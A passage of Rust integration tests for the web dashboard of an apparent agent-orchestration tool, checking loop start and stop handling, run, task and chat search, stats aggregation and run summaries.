10093 assert_eq!(view["daemon"]["pid"], 4242);
10094
10095 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10096 let res = f.post("/api/loop", Some(body)).await;
10097 assert_eq!(
10098 res.status, 409,
10099 "neither button may pretend to work on someone else's loop: {}",
10100 res.body
10101 );
10102 assert!(
10103 res.json()["error"]
10104 .as_str()
10105 .is_some_and(|e| e.contains("4242")),
10106 "the refusal has to name the process the operator must go to: {}",
10107 res.body
10108 );
10109 }
10110 assert_eq!(
10111 f.get("/api/loop").await.json()["running"],
10112 false,
10113 "and the refusal started nothing"
10114 );
10115 }
10116
10117 #[tokio::test]
10118 async fn a_stale_status_file_is_not_a_foreign_owner() {
10119 let f = Fixture::start().await;
10120 write_daemon(
10121 f.home.path(),
10122 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10123 );
10124
10125 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10126 assert_eq!(
10127 res.status, 200,
10128 "a daemon killed a minute ago must not lock the loop out of its \
10129 own home for good: {}",
10130 res.body
10131 );
10132 assert_eq!(res.json()["running"], true);
10133
10134 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10135 }
10136
10137 #[tokio::test]
10138 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10139 let f = Fixture::start().await;
10140 let before = f.get("/api/health").await.json()["loop_rev"]
10141 .as_u64()
10142 .expect("a loop revision");
10143
10144 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10145
10146 let after = f.get("/api/health").await.json()["loop_rev"]
10147 .as_u64()
10148 .expect("a loop revision");
10149 assert!(
10150 after > before,
10151 "the loop is in-process state, so this counter is the only thing \
10152 that tells a second device the first one started it: {before} -> \
10153 {after}"
10154 );
10155
10156 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10157 }
10158
10159 #[tokio::test]
10160 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10161 let f = Fixture::with_loop(launch_broken).await;
10162
10163 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10164 assert_eq!(
10165 res.status, 200,
10166 "starting it is not the failure: {}",
10167 res.body
10168 );
10169
10170 let view = settled(&f, |v| v["last_error"].is_string()).await;
10171 assert_eq!(
10172 view["running"], false,
10173 "a loop that died must not read as running, or the operator has \
10174 nothing to press: {view}"
10175 );
10176 assert_eq!(view["owned"], false);
10177 assert!(
10178 view["last_error"]
10179 .as_str()
10180 .is_some_and(|e| e.contains("read-only file system")),
10181 "the phone is where a loop that died at 3am is visible: {view}"
10182 );
10183
10184 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10187 assert_eq!(again.status, 200, "{}", again.body);
10188 assert_eq!(
10189 again.json()["last_error"],
10190 Value::Null,
10191 "a fresh start does not keep showing why the last one died"
10192 );
10193 }
10194
10195 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10207 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10208 let home = TempDir::new().expect("temp home");
10209 let runs = home.path().join("runs");
10210 std::fs::create_dir_all(&runs).expect("runs dir");
10211 let ui = Ui::new(
10212 Queue::at(home.path().join("queue")),
10213 Questions::at(home.path().join("questions")),
10214 Talks::at(home.path().join("talks")),
10215 runs,
10216 home.path().to_path_buf(),
10217 PathBuf::from("/repo/magi"),
10218 )
10219 .with_worktrees_root(home.path().join("wt"))
10220 .with_launch(launch_knocking_on_the_way_out);
10221 let looping = ui.looping();
10222 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10223 .await
10224 .expect("bind loopback");
10225 let addr = listener.local_addr().expect("local addr");
10226 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10227 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10228
10229 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10230 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10231
10232 let bound = std::sync::Mutex::new(None);
10247 hand_over(home.path(), &looping, served, |_| {
10248 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10249 let attempt = loop {
10250 match std::net::TcpListener::bind(addr) {
10251 Ok(l) => {
10252 drop(l);
10253 break Ok(());
10254 }
10255 Err(e)
10256 if e.kind() == std::io::ErrorKind::AddrInUse
10257 && std::time::Instant::now() < deadline =>
10258 {
10259 std::thread::sleep(std::time::Duration::from_millis(10));
10260 }
10261 Err(e) => break Err(e.to_string()),
10262 }
10263 };
10264 *bound.lock().expect("bound") = Some(attempt);
10265 Ok(1)
10266 })
10267 .await
10268 .expect("hand over");
10269
10270 assert_eq!(
10271 *PARK_HEARD.lock().expect("park heard"),
10272 Some(200),
10273 "the deck must answer while the loop is parking"
10274 );
10275 let attempt = bound
10276 .lock()
10277 .expect("bound")
10278 .take()
10279 .expect("the successor was started");
10280 assert!(
10281 attempt.is_ok(),
10282 "and the address must be free by the time it is: {attempt:?}"
10283 );
10284 }
10285
10286 #[tokio::test]
10287 async fn a_newer_daemon_status_file_still_renders() {
10288 let f = Fixture::start().await;
10289 std::fs::write(
10292 f.home.path().join("daemon.json"),
10293 serde_json::json!({
10294 "schema": 2,
10295 "updated_at": Timestamp::now().to_string(),
10296 "idle": true,
10297 "surprise": { "nested": [1, 2, 3] },
10298 })
10299 .to_string(),
10300 )
10301 .expect("write daemon.json");
10302
10303 let health = f.get("/api/health").await;
10304
10305 assert_eq!(health.status, 200);
10306 assert_eq!(health.json()["daemon"]["running"], true);
10307 }
10308
10309 #[tokio::test]
10310 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10311 let f = Fixture::start().await;
10312 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10313 let broken = f.runs().join("20260902-140502-bad");
10314 std::fs::create_dir_all(&broken).expect("run dir");
10315 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10316
10317 let list = f.get("/api/runs").await;
10318 let detail = f.get("/api/runs/20260902-140502-bad").await;
10319
10320 assert_eq!(list.status, 200);
10321 let listed = list.json();
10322 let ids: Vec<&str> = listed
10323 .as_array()
10324 .expect("an array")
10325 .iter()
10326 .map(|r| r["id"].as_str().expect("an id"))
10327 .collect();
10328 assert_eq!(
10329 ids,
10330 vec!["20260902-140501-good"],
10331 "one unreadable run must not cost the operator the whole history"
10332 );
10333 assert_eq!(detail.status, 500);
10334 assert!(
10335 detail.json()["error"]
10336 .as_str()
10337 .is_some_and(|e| e.contains("run.json")),
10338 "the failure names the file to look at: {}",
10339 detail.body
10340 );
10341 let health = f.get("/api/health").await;
10345 assert_eq!(health.json()["runs_unreadable"], 1);
10346 }
10347
10348 #[tokio::test]
10350 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10351 let f = Fixture::start().await;
10352 let runs = f.runs();
10353 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10354 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10355 let path = runs.join("20260902-140502-bbbb").join("run.json");
10358 let mut v: serde_json::Value =
10359 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10360 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10361 std::fs::write(&path, v.to_string()).unwrap();
10362 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10363 std::fs::write(
10364 runs.join("20260902-140503-cccc").join("run.json"),
10365 "{ not json",
10366 )
10367 .unwrap();
10368
10369 let res = f.get("/api/search?scope=runs&q=quokka").await;
10370 assert_eq!(res.status, 200, "{}", res.body);
10371 let v = res.json();
10372 assert_eq!(v["total"], 1, "{v}");
10373 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10374 assert_eq!(v["hits"][0]["field"], "text");
10375 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10376 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10377 assert!(
10378 parts
10379 .iter()
10380 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10381 "{v}"
10382 );
10383 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10384 assert_eq!(
10385 flat, "The Quokka leaks across threads",
10386 "whitespace is collapsed"
10387 );
10388
10389 let both = f
10391 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10392 .await
10393 .json();
10394 assert_eq!(both["total"], 1, "{both}");
10395 let neither = f
10396 .get("/api/search?scope=runs&q=quokka%20zebra")
10397 .await
10398 .json();
10399 assert_eq!(neither["total"], 0, "{neither}");
10400 let stmt = f
10402 .get("/api/search?scope=runs&q=mobile%20first")
10403 .await
10404 .json();
10405 assert_eq!(stmt["total"], 2, "{stmt}");
10406 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10407 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10408 }
10409
10410 #[test]
10411 fn snippet_ignores_terms_longer_than_the_field() {
10412 let terms = ["ok".to_owned(), "elephant".to_owned()];
10413 let parts = snippet_of("ok", &terms);
10414 assert_eq!(
10415 parts,
10416 vec![SnippetPart {
10417 text: "ok".to_owned(),
10418 hit: true
10419 }]
10420 );
10421 }
10422
10423 #[test]
10424 fn snippet_marks_matches_longer_than_the_window() {
10425 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10426 let hit_len = |parts: &[SnippetPart]| -> usize {
10427 parts
10428 .iter()
10429 .filter(|p| p.hit)
10430 .map(|p| p.text.chars().count())
10431 .sum()
10432 };
10433 let total =
10434 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10435
10436 let long = "a".repeat(120);
10437 let parts = snippet_of(&long, std::slice::from_ref(&long));
10438 assert!(hit_len(&parts) > 0, "{parts:?}");
10439 assert!(total(&parts) <= cap);
10440
10441 let ja = "あ".repeat(130);
10442 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10443 assert!(hit_len(&parts) > 0, "{parts:?}");
10444 assert!(total(&parts) <= cap);
10445
10446 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10448 let term = format!("ab{}", "c".repeat(100));
10449 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10450 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10451 assert!(total(&parts) <= cap);
10452
10453 let text = format!("{}z", "a".repeat(119));
10455 let parts = snippet_of(&text, &["a".repeat(120)]);
10456 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10457 }
10458
10459 #[tokio::test]
10460 async fn search_caps_hits_and_snippet_length() {
10461 let f = Fixture::start().await;
10462 let runs = f.runs();
10463 for n in 0..(SEARCH_MAX_HITS + 5) {
10464 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10465 }
10466 let v = f.get("/api/search?scope=runs&q=web").await.json();
10467 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10468 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10469 assert_eq!(v["truncated"], true);
10470 assert!(
10472 v["hits"]
10473 .as_array()
10474 .unwrap()
10475 .iter()
10476 .all(|h| h["run"]["status"] == "merged")
10477 );
10478
10479 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10480 let parts = snippet_of(&long, &["needle".to_owned()]);
10481 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10482 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10483 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10484 }
10485
10486 #[tokio::test]
10487 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10488 let f = Fixture::start().await;
10489 let queue = f.queue();
10490 let mut t = Task::new(
10491 "short title".to_owned(),
10492 "line one\nthe hidden Armadillo detail".to_owned(),
10493 PathBuf::from("/repo/magi"),
10494 Source::Agent {
10495 run: "r1".to_owned(),
10496 node: "chat".to_owned(),
10497 },
10498 );
10499 t.last_error = Some("disk full on /tmp".to_owned());
10500 queue.put(&mut t).expect("file the task");
10501
10502 for (q, want) in [
10503 ("armadillo", 1),
10504 ("disk%20FULL", 1),
10505 ("chat", 1),
10506 ("queued", 1),
10507 ("short%20nothing", 0),
10508 ] {
10509 let v = f
10510 .get(&format!("/api/search?scope=tasks&q={q}"))
10511 .await
10512 .json();
10513 assert_eq!(v["total"], want, "{q}: {v}");
10514 }
10515 for bad in [
10516 "/api/search?scope=tasks&q=",
10517 "/api/search?scope=tasks&q=%20",
10518 "/api/search?scope=chats&q=",
10519 "/api/search?scope=chats&q=%20",
10520 "/api/search?scope=nope&q=a",
10521 "/api/search?q=a",
10522 ] {
10523 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10524 }
10525 }
10526
10527 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10529 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10530 .expect("seat value");
10531 let turns: Vec<serde_json::Value> = turns
10532 .iter()
10533 .map(|(who, body)| {
10534 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10535 })
10536 .collect();
10537 let doc = serde_json::json!({
10538 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10539 "status": status, "turns": turns,
10540 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10541 "seat": seat,
10542 });
10543 let dir = f.home.path().join("talks");
10544 std::fs::create_dir_all(&dir).expect("talks dir");
10545 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10546 }
10547
10548 #[tokio::test]
10549 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10550 let f = Fixture::start().await;
10551 write_talk(
10552 &f,
10553 "20260901-000001-aaaa",
10554 "open",
10555 &[
10556 (
10557 "operator",
10558 "\n Why does the Pangolin cache expire?\nsecond line",
10559 ),
10560 ("agent", "Because the TTL is thirty seconds."),
10561 ],
10562 );
10563 write_talk(
10564 &f,
10565 "20260901-000002-bbbb",
10566 "closed",
10567 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10568 );
10569 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10570
10571 let search = |q: &'static str| {
10572 let f = &f;
10573 async move {
10574 f.get(&format!("/api/search?scope=chats&q={q}"))
10575 .await
10576 .json()
10577 }
10578 };
10579
10580 let v = search("PANGOLIN").await;
10581 assert_eq!(v["scope"], "chats");
10582 assert_eq!(v["total"], 1, "{v}");
10583 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10584 assert_eq!(v["hits"][0]["field"], "title");
10585 assert_eq!(v["unreadable"], 1, "{v}");
10586 let marked: Vec<&str> = v["hits"][0]["snippet"]
10587 .as_array()
10588 .unwrap()
10589 .iter()
10590 .filter(|p| p["hit"] == true)
10591 .map(|p| p["text"].as_str().unwrap())
10592 .collect();
10593 assert_eq!(marked, ["Pangolin"]);
10594
10595 let v = search("zebra").await;
10597 assert_eq!(v["total"], 1, "{v}");
10598 assert_eq!(v["hits"][0]["field"], "agent");
10599 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10601 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10602 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10604 assert_eq!(search(q).await["total"], 0, "{q}");
10605 }
10606 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10608 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10610
10611 let v = f.get("/api/search?scope=nope&q=a").await;
10612 assert_eq!(v.status, 400);
10613 assert!(
10614 v.body.contains("scope must be runs, tasks or chats"),
10615 "{}",
10616 v.body
10617 );
10618 }
10619
10620 #[test]
10621 fn a_question_card_links_a_task_id_to_the_task_page() {
10622 let start = APP_JS
10623 .find("function updateAskCard(")
10624 .expect("updateAskCard exists");
10625 let body = &APP_JS[start..];
10626 let body = &body[..body.find("\n}\n").expect("function end")];
10627 assert!(body.contains("question.run_is_task"));
10628 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10629 assert!(body.contains("`#/runs/${question.run}`"));
10630 assert!(body.contains("\"task\" : \"run\""));
10631 }
10632
10633 #[test]
10634 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10635 let start = APP_JS
10636 .find("function scheduleSearch(")
10637 .expect("scheduleSearch exists");
10638 let body = &APP_JS[start..];
10639 let body = &body[..body.find("\n}\n").expect("function end")];
10640 assert!(body.contains("s.seq += 1"));
10641 }
10642
10643 #[tokio::test]
10648 async fn stats_runs_unreadable_matches_health() {
10649 let f = Fixture::start().await;
10650 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10651 let broken = f.runs().join("20260902-140502-bad");
10652 std::fs::create_dir_all(&broken).expect("run dir");
10653 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10654
10655 let stats = f.get("/api/stats").await;
10656 let health = f.get("/api/health").await;
10657
10658 assert_eq!(stats.status, 200);
10659 assert_eq!(stats.json()["totals"]["runs"], 1);
10660 assert_eq!(stats.json()["runs_unreadable"], 1);
10661 assert_eq!(
10662 stats.json()["runs_unreadable"],
10663 health.json()["runs_unreadable"],
10664 "the dashboard and /api/health must never disagree about how many \
10665 runs could not be read"
10666 );
10667 }
10668
10669 #[tokio::test]
10670 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10671 let f = Fixture::start().await;
10672 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10673 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10674 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10675
10676 let totals = &f.get("/api/stats").await.json()["totals"];
10677 assert_eq!(totals["runs"], 3);
10678 assert_eq!(totals["merged"], 1);
10679 assert_eq!(totals["stalled"], 1);
10680 assert_eq!(totals["in_progress"], 1);
10681 assert_eq!(totals["blocked"], 0);
10684 assert_eq!(totals["ready"], 0);
10685 }
10686
10687 #[tokio::test]
10688 async fn stats_advisors_report_proposals_and_reflection() {
10689 use crate::advise::{Advice, AdvisorRecord, Reflection};
10690 use crate::verdict::Proposal;
10691
10692 let f = Fixture::start().await;
10693 let mut state = RunState::new(
10694 PathBuf::from("/repo/magi"),
10695 "main".to_owned(),
10696 "0123456789abcdef".to_owned(),
10697 "task".to_owned(),
10698 Config::default(),
10699 );
10700 state.id = "20260902-140501-a".to_owned();
10701 state.status = RunStatus::Merged;
10702 state.advice = Some(Advice {
10703 records: vec![
10704 AdvisorRecord {
10705 seat: "advisor-1".to_owned(),
10706 agent: "alpha".to_owned(),
10707 proposal: Some(Proposal {
10708 approach: "do it".to_owned(),
10709 key_tradeoff: "speed over memory".to_owned(),
10710 risks: Vec::new(),
10711 touches: Vec::new(),
10712 why_not_naive: "breaks under load".to_owned(),
10713 }),
10714 error: None,
10715 duration_ms: 0,
10716 reflection: Reflection::Strong,
10717 },
10718 AdvisorRecord {
10719 seat: "advisor-2".to_owned(),
10720 agent: "alpha".to_owned(),
10721 proposal: None,
10722 error: Some("timed out".to_owned()),
10723 duration_ms: 0,
10724 reflection: Reflection::Absent,
10725 },
10726 ],
10727 synthesis: Some("blended brief".to_owned()),
10728 });
10729 let dir = f.runs().join(&state.id);
10730 std::fs::create_dir_all(&dir).expect("run dir");
10731 std::fs::write(
10732 dir.join("run.json"),
10733 serde_json::to_string_pretty(&state).expect("serialize run"),
10734 )
10735 .expect("write run.json");
10736
10737 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10738 let alpha = advisors
10739 .as_array()
10740 .expect("an array")
10741 .iter()
10742 .find(|a| a["agent"] == "alpha")
10743 .expect("alpha row");
10744 assert_eq!(alpha["seated"], 2);
10745 assert_eq!(alpha["proposed"], 1);
10746 assert_eq!(alpha["absent"], 1);
10747 assert_eq!(alpha["strong"], 1);
10748 assert_eq!(alpha["faint"], 0);
10749 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10750 }
10751
10752 #[tokio::test]
10753 async fn stats_release_bumps_split_clean_from_attention() {
10754 use crate::run::ReleaseBump;
10755
10756 let f = Fixture::start().await;
10757
10758 let mut clean = RunState::new(
10759 PathBuf::from("/repo/magi"),
10760 "main".to_owned(),
10761 "0123456789abcdef".to_owned(),
10762 "task".to_owned(),
10763 Config::default(),
10764 );
10765 clean.id = "20260902-140501-a".to_owned();
10766 clean.status = RunStatus::Merged;
10767 clean.release_bump = Some(ReleaseBump {
10768 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10769 version: Some("1.0.0".to_owned()),
10770 automerge_enabled: true,
10771 merged_directly: false,
10772 local: false,
10773 release: None,
10774 problem: None,
10775 action_required: None,
10776 });
10777
10778 let mut blocked = RunState::new(
10779 PathBuf::from("/repo/magi"),
10780 "main".to_owned(),
10781 "0123456789abcdef".to_owned(),
10782 "task".to_owned(),
10783 Config::default(),
10784 );
10785 blocked.id = "20260902-140502-b".to_owned();
10786 blocked.status = RunStatus::Merged;
10787 blocked.release_bump = Some(ReleaseBump {
10788 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10789 version: Some("1.0.1".to_owned()),
10790 automerge_enabled: false,
10791 merged_directly: false,
10792 local: false,
10793 release: None,
10794 problem: Some("checks red".to_owned()),
10795 action_required: Some("look at the PR".to_owned()),
10796 });
10797
10798 for state in [&clean, &blocked] {
10799 let dir = f.runs().join(&state.id);
10800 std::fs::create_dir_all(&dir).expect("run dir");
10801 std::fs::write(
10802 dir.join("run.json"),
10803 serde_json::to_string_pretty(state).expect("serialize run"),
10804 )
10805 .expect("write run.json");
10806 }
10807
10808 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10809 assert_eq!(bumps["merged"], 2);
10810 assert_eq!(bumps["recorded"], 2);
10811 assert_eq!(bumps["pr_opened"], 2);
10812 assert_eq!(bumps["automerge_enabled"], 1);
10813 assert_eq!(bumps["needs_attention"], 1);
10814 assert_eq!(bumps["clean"], 1);
10815 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10816 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10817 }
10818
10819 #[tokio::test]
10820 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10821 let f = Fixture::start().await;
10822 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10823
10824 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10825 assert_eq!(bumps["merged"], 1);
10826 assert_eq!(bumps["recorded"], 0);
10827 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10830 assert_eq!(bumps["automerge_rate"], Value::Null);
10833 assert_eq!(bumps["attention_rate"], Value::Null);
10834 }
10835
10836 #[tokio::test]
10837 async fn stats_queue_counts_come_from_the_live_queue() {
10838 let f = Fixture::start().await;
10839 let q = f.queue();
10840 let mut queued = Task::new(
10841 "queued task".to_owned(),
10842 "do it".to_owned(),
10843 PathBuf::from("/repo"),
10844 Source::Human,
10845 );
10846 q.put(&mut queued).expect("put queued");
10847 let mut held = Task::new(
10848 "held task".to_owned(),
10849 "do it later".to_owned(),
10850 PathBuf::from("/repo"),
10851 Source::Human,
10852 );
10853 held.hold_machine(Some("out of attempts".to_owned()));
10854 q.put(&mut held).expect("put held");
10855
10856 let queue = f.get("/api/stats").await.json()["queue"].clone();
10857 assert_eq!(queue["queued"], 1);
10858 assert_eq!(queue["held"], 1);
10859 assert_eq!(queue["running"], 0);
10860 assert_eq!(queue["done"], 0);
10861 assert_eq!(queue["failed"], 0);
10862 assert_eq!(queue["blocked"], 0);
10863 }
10864
10865 #[tokio::test]
10866 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10867 let f = Fixture::start().await;
10868 let stats = f.get("/api/stats").await;
10869 assert_eq!(stats.status, 200);
10870 assert_eq!(stats.json()["totals"]["runs"], 0);
10871 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10872 assert_eq!(stats.json()["runs_unreadable"], 0);
10873 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10874 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10875 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10876 assert_eq!(stats.json()["repo"], Value::Null);
10877 }
10878
10879 #[tokio::test]
10880 async fn stats_lists_every_repository_with_runs_recorded() {
10881 let f = Fixture::start().await;
10882 write_run_repo(
10883 &f.runs(),
10884 "20260902-140501-a",
10885 RunStatus::Merged,
10886 "/repos/a",
10887 );
10888 write_run_repo(
10889 &f.runs(),
10890 "20260902-140502-b",
10891 RunStatus::Merged,
10892 "/repos/a",
10893 );
10894 write_run_repo(
10895 &f.runs(),
10896 "20260902-140503-c",
10897 RunStatus::Blocked,
10898 "/repos/b",
10899 );
10900
10901 let stats = f.get("/api/stats").await;
10902 assert_eq!(stats.status, 200);
10903 assert_eq!(stats.json()["totals"]["runs"], 3);
10905 assert_eq!(stats.json()["repo"], Value::Null);
10906
10907 let repos = stats.json()["repos"].clone();
10908 let repos = repos.as_array().unwrap();
10909 assert_eq!(repos.len(), 2);
10910 assert_eq!(repos[0]["repo"], "/repos/a");
10912 assert_eq!(repos[0]["name"], "a");
10913 assert_eq!(repos[0]["runs"], 2);
10914 assert_eq!(repos[1]["repo"], "/repos/b");
10915 assert_eq!(repos[1]["runs"], 1);
10916 }
10917
10918 #[tokio::test]
10919 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10920 let f = Fixture::start().await;
10921 write_run_repo(
10922 &f.runs(),
10923 "20260902-140501-a",
10924 RunStatus::Merged,
10925 "/repos/a",
10926 );
10927 write_run_repo(
10928 &f.runs(),
10929 "20260902-140502-b",
10930 RunStatus::Blocked,
10931 "/repos/b",
10932 );
10933
10934 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10935 assert_eq!(stats.status, 200);
10936 assert_eq!(stats.json()["totals"]["runs"], 1);
10937 assert_eq!(stats.json()["totals"]["merged"], 1);
10938 assert_eq!(stats.json()["repo"], "/repos/a");
10939 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10942 assert_eq!(stats.json()["runs_unreadable"], 0);
10945 }
10946
10947 #[tokio::test]
10948 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10949 let f = Fixture::start().await;
10950 write_run_repo(
10951 &f.runs(),
10952 "20260902-140501-a",
10953 RunStatus::Merged,
10954 "/repos/a",
10955 );
10956
10957 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10958 assert_eq!(stats.status, 404);
10959 }
10960
10961 #[tokio::test]
10962 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10963 let f = Fixture::start().await;
10964 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10965
10966 let summary = f.get("/api/runs").await.json();
10967 let row = &summary[0];
10968 assert_eq!(row["short"], "a1b2");
10969 assert_eq!(row["status"], "ready");
10970 assert_eq!(row["done"], true);
10971 assert_eq!(row["title"], "Add a web UI");
10972 assert_eq!(row["repo_name"], "magi");
10973 assert_eq!(row["judges"], 3);
10974 assert_eq!(row["winner"], Value::Null);
10975 assert_eq!(row["reviews"], 0);
10976
10977 let detail = f.get("/api/runs/a1b2").await;
10980 assert_eq!(detail.status, 200);
10981 assert_eq!(detail.json()["base_branch"], "main");
10982 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10983 }
10984
10985 #[tokio::test]
10993 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10994 let f = Fixture::start().await;
10995
10996 let mut none_run = RunState::new(
10997 PathBuf::from("/repo/magi"),
10998 "main".to_owned(),
10999 "0123456789abcdef".to_owned(),
11000 "Add a web UI".to_owned(),
11001 Config::default(),
11002 );
11003 none_run.id = "20260902-140503-none".to_owned();
11004 none_run.status = RunStatus::Ready;
11005 none_run.merge = Some(crate::run::MergeOutcome {
11006 mode: crate::config::MergeMode::None,
11007 ok: true,
11008 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11009 empty: false,
11010 });
11011 write_state(&f.runs(), &none_run);
11012
11013 let mut pr_run = RunState::new(
11014 PathBuf::from("/repo/magi"),
11015 "main".to_owned(),
11016 "0123456789abcdef".to_owned(),
11017 "Add a web UI".to_owned(),
11018 Config::default(),
11019 );
11020 pr_run.id = "20260902-140504-prcl".to_owned();
11021 pr_run.status = RunStatus::Ready;
11022 pr_run.merge = Some(crate::run::MergeOutcome {
11023 mode: crate::config::MergeMode::Pr,
11024 ok: false,
11025 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11026 empty: false,
11027 });
11028 write_state(&f.runs(), &pr_run);
11029
11030 let summary = f.get("/api/runs").await.json();
11031 let rows: std::collections::HashMap<&str, &Value> = summary
11032 .as_array()
11033 .expect("an array")
11034 .iter()
11035 .map(|r| (r["id"].as_str().expect("an id"), r))
11036 .collect();
11037 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11038 assert_eq!(
11039 rows[none_run.id.as_str()]["unmerged_by_design"],
11040 true,
11041 "a mode-none Ready must be flagged in the list"
11042 );
11043 assert_eq!(
11044 rows[pr_run.id.as_str()]["unmerged_by_design"],
11045 false,
11046 "a Ready reached by a closed pull request is a different case"
11047 );
11048
11049 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11050 assert_eq!(none_detail["status"], "ready");
11051 assert_eq!(none_detail["unmerged_by_design"], true);
11052
11053 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11054 assert_eq!(pr_detail["unmerged_by_design"], false);
11055 }
11056
11057 #[tokio::test]
11062 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11063 let f = Fixture::start().await;
11064 let id = "20260902-140502-bbbb";
11068 let mut state = RunState::new(
11069 PathBuf::from("/repo/magi"),
